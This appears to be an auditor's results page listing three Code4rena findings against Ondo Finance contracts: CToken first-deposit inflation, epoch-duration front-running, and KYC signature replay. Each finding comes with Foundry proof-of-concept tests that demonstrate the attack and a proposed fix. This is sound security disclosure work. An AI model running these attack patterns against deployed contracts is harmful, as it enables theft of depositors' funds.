Ondo Finance contest - AkshaySrivastav's results

Institutional-Grade Finance. On-Chain. For Everyone.

General Information

Platform: Code4rena

Start Date: 11/01/2023

Pot Size: $60,500 USDC

Total HM: 6

Participants: 69

Period: 6 days

Judge: Trust

Total Solo HM: 2

Id: 204

League: ETH

Ondo Finance

Findings Distribution

Researcher Performance

Rank: 1/69

Findings: 3

Award: $11,205.52

🌟 Selected for report: 3

πŸš€ Solo Findings: 1

Findings Information

🌟 Selected for report: AkshaySrivastav

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
selected for report
sponsor confirmed
primary issue
M-02

Awards

7481.1721 USDC - $7,481.17

External Links

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/README.md?plain=1#L1

Vulnerability details

c7a398a81e9d443542ca06717ef713924dafb717

#0 - akshaysrivastav

2023-01-21T10:58:11Z

This placeholder issue was created according to the criteria mentioned by C4 https://docs.code4rena.com/roles/wardens/submission-policy#findings-in-parent-of-forked-projects

The hash posted above (c7a398a81e9d443542ca06717ef713924dafb717) was generated using the shasum command on Ubuntu for the file shared below.

Command: shasum first-deposit-bug.md

first-deposit-bug.md

Adding the content of the file here :-


First Deposit Bug

The CToken is a yield bearing asset which is minted when any user deposits some units of underlying tokens. The amount of CTokens minted to a user is calculated based upon the amount of underlying tokens user is depositing.

As per the implementation of CToken contract, there exist two cases for CToken amount calculation:

  1. First deposit - when CToken.totalSupply() is 0.
  2. All subsequent deposits.

Here is the actual CToken code (extra code and comments clipped for better reading):

function exchangeRateStoredInternal() internal view virtual returns (uint) {
    uint _totalSupply = totalSupply;
    if (_totalSupply == 0) {
      return initialExchangeRateMantissa;
    } else {
      uint totalCash = getCashPrior();
      uint cashPlusBorrowsMinusReserves = totalCash +
        totalBorrows -
        totalReserves;
      uint exchangeRate = (cashPlusBorrowsMinusReserves * expScale) /
        _totalSupply;

      return exchangeRate;
    }
}

function mintFresh(address minter, uint mintAmount) internal {
    // ...
    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint actualMintAmount = doTransferIn(minter, mintAmount);

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;
}

The Bug

The above implementation contains a critical bug which can be exploited to steal funds of initial depositors of a freshly deployed CToken contract.

As the exchange rate is dependent upon the ratio of CToken's totalSupply and underlying token balance of CToken contract, the attacker can craft transactions to manipulate the exchange rate.

Steps to attack:

  1. Once the CToken has been deployed and added to the lending protocol, the attacker mints the smallest possible amount of CTokens.

  2. Then the attacker does a plain underlying token transfer to the CToken contract, artificially inflating the underlying.balanceOf(CToken) value.

    Due to the above steps, during the next legitimate user deposit, the mintTokens value for the user will become less than 1 and essentially be rounded down to 0 by Solidity. Hence the user gets 0 CTokens against his deposit and the CToken's entire supply is held by the Attacker.

  3. The Attacker can then simply reedem his CToken balance for the entire underlying token balance of the CToken contract.

The same steps can be performed again to steal the next user's deposit.

It should be noted that the attack can happen in two ways:

  • The attacker can simply execute the Step 1 and 2 as soon as the CToken gets added to the lending protocol.
  • The attacker watches the pending transactions of the network and frontruns the user's deposit transaction by executing Step 1 and 2 and then backruns it with Step 3.

Impact

A sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract.

The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token's price.

Suppose there are 10 users and each of them tries to deposit 1,000,000 underlying tokens into the CToken contract. Price of underlying token is $1.

Total loss (in $) = $10,000,000

Proof of Concept

New test case was added to forge-tests/lending/fToken/fDAI.t.sol

function test_bug_firstMintIssue() public {
    address attacker = alice;

    seedUserDAI(attacker, 2_000_000e18);
    seedUserDAI(bob, 1_000_000e18);
    assertEq(fDAI.exchangeRateStored(), 2e26);
    assertEq(fDAI.totalSupply(), 0);
    assertEq(fDAI.balanceOf(attacker), 0);

    vm.prank(attacker);
    DAI.approve(address(fDAI), type(uint256).max);
    vm.prank(attacker);
    fDAI.mint(2e8);
    assertEq(fDAI.balanceOf(attacker), 1);
    assertEq(fDAI.totalSupply(), 1);

    vm.prank(bob);
    DAI.approve(address(fDAI), type(uint256).max);

    // Front-running
    vm.prank(attacker);
    DAI.transfer(address(fDAI), 1_000_000e18);
    assertEq(fDAI.getCash(), 1_000_000e18 + 2e8);

    vm.prank(bob);
    fDAI.mint(1_000_000e18);
    assertEq(fDAI.balanceOf(bob), 0);
    assertEq(fDAI.totalSupply(), 1);

    vm.prank(attacker);
    fDAI.redeem(1);
    assertEq(DAI.balanceOf(attacker), 3_000_000e18);
    assertEq(fDAI.totalSupply(), 0);
}

The Fix

The fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting small amount of CToken units to 0x00 address on the first deposit.

function mintFresh(address minter, uint mintAmount) internal {
    // ...
    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint actualMintAmount = doTransferIn(minter, mintAmount);

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    /// THE FIX
    if (totalSupply == 0) {
        totalSupply = 1000;
        accountTokens[address(0)] = 1000;
        mintTokens -= 1000;
    }

    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;
    // ...
}

Instead of a fixed 1000 value an admin controlled parameterized value can also be used to control the burn amount on a per CToken basis.


End of file content

Details according to C4 issue reporting format

#1 - c4-judge

2023-01-23T13:58:02Z

trust1995 changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-01-23T13:58:07Z

trust1995 marked the issue as primary issue

#3 - trust1995

2023-01-23T13:58:34Z

This is a well known attack. Will let sponsor have a look but may QA in the future.

#4 - c4-judge

2023-01-23T13:59:20Z

trust1995 marked the issue as satisfactory

#5 - c4-sponsor

2023-01-31T15:50:22Z

ali2251 marked the issue as sponsor confirmed

#6 - ypatil12

2023-01-31T15:51:10Z

This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here: https://www.tally.xyz/gov/ondo-dao/proposal/3

#7 - trust1995

2023-02-01T07:30:38Z

Leaving as Med severity as likelihood is low but potential impact is high + sponsor found it valuable.

#8 - c4-judge

2023-02-01T07:50:04Z

trust1995 marked the issue as selected for report

#9 - akshaysrivastav

2023-02-01T08:17:57Z

Few points about why this issue should be considered as High Severity.

  • The bug causes real fund loss of funds for the depositors. Actual amounts lost depend upon initial deposit amounts. Bigger the initial deposit bigger the loss. Hence impact is high.
  • Likelihood of the attack is high as it is very easy to frontrun transactions on public blockchains.
  • The fix implemented by sponsors is just an operational workaround (manual burning of tokens). As long as the smart contracts are concerned no code changes were made. Hence the bug always exists for initial deposits.
  • Sponsors acknowledged the bug which indicates that the presence of bug may or may not be known to them prior to reporting. The known state of the bug was never mentioned in the contest details or in protocol docs. Even being a known attack (just like re-entrancy) should not reduce the severity of a bug.

Looking forward to hear the thoughts of judges.

#10 - trust1995

2023-02-01T08:23:16Z

  1. We have not entered judge QA period, therefore you're not allowed to comment at this stage. Soft warning.
  2. Still Med.

Findings Information

🌟 Selected for report: AkshaySrivastav

Also found by: bin2chen

Labels

bug
2 (Med Risk)
satisfactory
selected for report
primary issue
M-03

Awards

3366.5274 USDC - $3,366.53

External Links

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/CashManager.sol#L546-L552

Vulnerability details

Impact

The CashManager contract contains setEpochDuration function which is used by MANAGER_ADMIN role to update the epochDuration parameter.

  function setEpochDuration(uint256 _epochDuration) external onlyRole(MANAGER_ADMIN) {
    uint256 oldEpochDuration = epochDuration;
    epochDuration = _epochDuration;
    emit EpochDurationSet(oldEpochDuration, _epochDuration);
  }

The result of the setEpochDuration function execution can be impacted any external agent. The epochDuration is a crucial parameter of CashManager contract which determines the length of epochs in the contract.

The issue here is that the setEpochDuration function updates the epochDuration value without invoking the transitionEpoch function first. This leads to two different end results and scenarios:

  1. When transitionEpoch is executed before setEpochDuration by an external agent (front-running).
  2. When transitionEpoch is executed after setEpochDuration by an external agent (back-running).

In these two different cases, the duration and epoch number of last few passed epochs can be impacted differently. The result become dependent upon the wish of the external agent.

The exact impact is demonstrated in the PoC below.

Proof of Concept

New test cases were added to forge-tests/cash/cash_manager/Setters.t.sol file.

  function test_bug_inconsistentOutputOf_setEpochDuration_Case1() public {
    // skip 1 epoch duration
    vm.warp(block.timestamp + 1 days);

    // here the setEpochDuration() txn is frontrunned by issuing the transitionEpoch() txn
    cashManager.transitionEpoch();
    // this is the setEpochDuration() txn which was frontrunned
    cashManager.setEpochDuration(2 days);
    assertEq(cashManager.currentEpoch(), 1);

    vm.warp(block.timestamp + 2 days);
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 2);   // number of epochs after 3 days is 2
  }
  function test_bug_inconsistentOutputOf_setEpochDuration_Case2() public {
    // skip 1 epoch duration
    vm.warp(block.timestamp + 1 days);
    
    // here we wait for the setEpochDuration() to be validated on the network
    cashManager.setEpochDuration(2 days);
    // then we backrun the setEpochDuration() txn with transitionEpoch() txn
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 0);

    vm.warp(block.timestamp + 2 days);
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 1);   // number of epochs after 3 days is 1
  }

Tools Used

Manual review

The transitionEpoch function should be executed before executing the setEpochDuration function so that the values for passed epochs are recorded in a consistent way. This can be done by adding the updateEpoch modifier.

  function setEpochDuration(uint256 _epochDuration) external updateEpoch onlyRole(MANAGER_ADMIN) {
    uint256 oldEpochDuration = epochDuration;
    epochDuration = _epochDuration;
    emit EpochDurationSet(oldEpochDuration, _epochDuration);
  }

#0 - c4-judge

2023-01-22T18:59:27Z

trust1995 marked the issue as duplicate of #83

#1 - c4-judge

2023-01-22T18:59:31Z

trust1995 marked the issue as satisfactory

#2 - c4-judge

2023-02-01T07:57:16Z

trust1995 marked the issue as selected for report

#3 - C4-Staff

2023-02-03T18:02:01Z

JeeberC4 marked the issue as selected for report

Findings Information

🌟 Selected for report: AkshaySrivastav

Also found by: 0xjuicer, Bauer, Tajobin, adriro, csanuragjain, gzeon, immeas, rbserver

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
satisfactory
selected for report
primary issue
M-04

Awards

357.8221 USDC - $357.82

External Links

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Vulnerability details

Impact

The KYCRegistry contract uses signatures to grant KYC status to the users using the addKYCAddressViaSignature function.

However this function does not prevent replaying of signatures in the case where KYC status was revoked of a user.

  function addKYCAddressViaSignature( ... ) external {
    require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature");
    require(
      !kycState[kycRequirementGroup][user],
      "KYCRegistry: user already verified"
    );
    require(block.timestamp <= deadline, "KYCRegistry: signature expired");
    bytes32 structHash = keccak256(
      abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
    );

    bytes32 expectedMessage = _hashTypedDataV4(structHash);

    address signer = ECDSA.recover(expectedMessage, v, r, s);
    _checkRole(kycGroupRoles[kycRequirementGroup], signer);

    kycState[kycRequirementGroup][user] = true;
    // ...
  }

This function could be exploited in the case when these conditions are true:

  • KYC status was granted to user using a signature with validity upto deadline.
  • Before the deadline was passed, the KYC status of user was revoke using the removeKYCAddresses function.

In the above mentioned conditions the malicious user can submit the original signature again to the addKYCAddressViaSignature function which will forcefully grant the KYC status to malicious user again.

It should also be noted that due to this bug until the deadline has been passed the privileged accounts cannot revoke the KYC status of a KYC granted user. This can result in unwanted moving of funds by the user in/out of Ondo protocol.

Proof of Concept

Test file created BugTest.t.sol and was run by forge test --mp ./forge-tests/BugTest1.t.sol

pragma solidity 0.8.16;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";

import "contracts/cash/kyc/KYCRegistry.sol";

contract SanctionsList {
    function isSanctioned(address) external pure returns (bool) {
        return false;
    }
}
struct KYCApproval {
    uint256 kycRequirementGroup;
    address user;
    uint256 deadline;
}

contract BugTest1 is Test {
    bytes32 APPROVAL_TYPEHASH;
    bytes32 DOMAIN_SEPARATOR;
    KYCRegistry registry;

    address admin;
    address kycAgent;
    uint256 kycAgentPrivateKey = 0xB0B;
    address attacker;

    function setUp() public {
        admin = address(0xad);
        attacker = address(0xbabe);
        kycAgent = vm.addr(kycAgentPrivateKey);
        registry = new KYCRegistry(admin, address(new SanctionsList()));
        APPROVAL_TYPEHASH = registry._APPROVAL_TYPEHASH();
        DOMAIN_SEPARATOR = registry.DOMAIN_SEPARATOR();
    }

    function test_bug() public {
        uint256 kycGroup = 1;
        bytes32 kycGroupRole = "0x01";
        vm.prank(admin);
        registry.assignRoletoKYCGroup(kycGroup, kycGroupRole);
        vm.prank(admin);
        registry.grantRole(kycGroupRole, kycAgent);
        vm.stopPrank();

        uint256 deadline = block.timestamp + 1 days;
        KYCApproval memory approval = KYCApproval({
            kycRequirementGroup: kycGroup,
            user: attacker,
            deadline: deadline
        });
        bytes32 digest = getTypedDataHash(approval);
        // KYC approval got signed with validity of 1 day
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(kycAgentPrivateKey, digest);

        assertEq(registry.kycState(kycGroup, attacker), false);
        assertEq(registry.getKYCStatus(kycGroup, attacker), false);

        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);

        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true);

        address[] memory toBeRemovedAddrs = new address[](1);
        toBeRemovedAddrs[0] = attacker;
        // KYC approval was removed
        vm.prank(kycAgent);
        registry.removeKYCAddresses(kycGroup, toBeRemovedAddrs);
        vm.stopPrank();
        assertEq(registry.getKYCStatus(kycGroup, attacker), false);

        // KYC approval was granted again by replaying the original signature
        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);
        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true);
    }

    function getStructHash(KYCApproval memory _approval) internal view returns (bytes32) {
        return keccak256(abi.encode(APPROVAL_TYPEHASH, _approval.kycRequirementGroup, _approval.user, _approval.deadline));
    }

    function getTypedDataHash(KYCApproval memory _approval) public view returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, getStructHash(_approval)));
    }
}

Tools Used

Manual review

A nonce mapping for message signers can be maintained the value of which can be incremented for every successful signature validation.

mapping(address => uint) private nonces;

A more detailed usage example can be found in OpenZeppelin's EIP-2612 implementation. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L90

#0 - c4-judge

2023-01-22T15:53:29Z

trust1995 marked the issue as primary issue

#1 - c4-judge

2023-01-23T11:45:39Z

trust1995 marked the issue as satisfactory

#2 - ali2251

2023-01-31T15:59:29Z

Timestamps prevent replay attacks, these timestamps are like 30 minutes long, so the attack is valid only within 30 minutes and we can change the timestamp to 5 minutes and then it becomes exteremely hard for this attack to happen. Within 5 minutes, a suer must add themselves, then Admin removed them, then they add themselves but once 5 minutes is over, the attacker can no longer add themselves and so the admin can just remove them after 5 minutes. It can be see here that in tests we use 9 minutes: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L57

#3 - c4-sponsor

2023-01-31T15:59:56Z

ali2251 marked the issue as disagree with severity

#4 - c4-judge

2023-02-01T07:37:30Z

trust1995 changed the severity to 2 (Med Risk)

#5 - c4-judge

2023-02-01T07:54:21Z

trust1995 marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter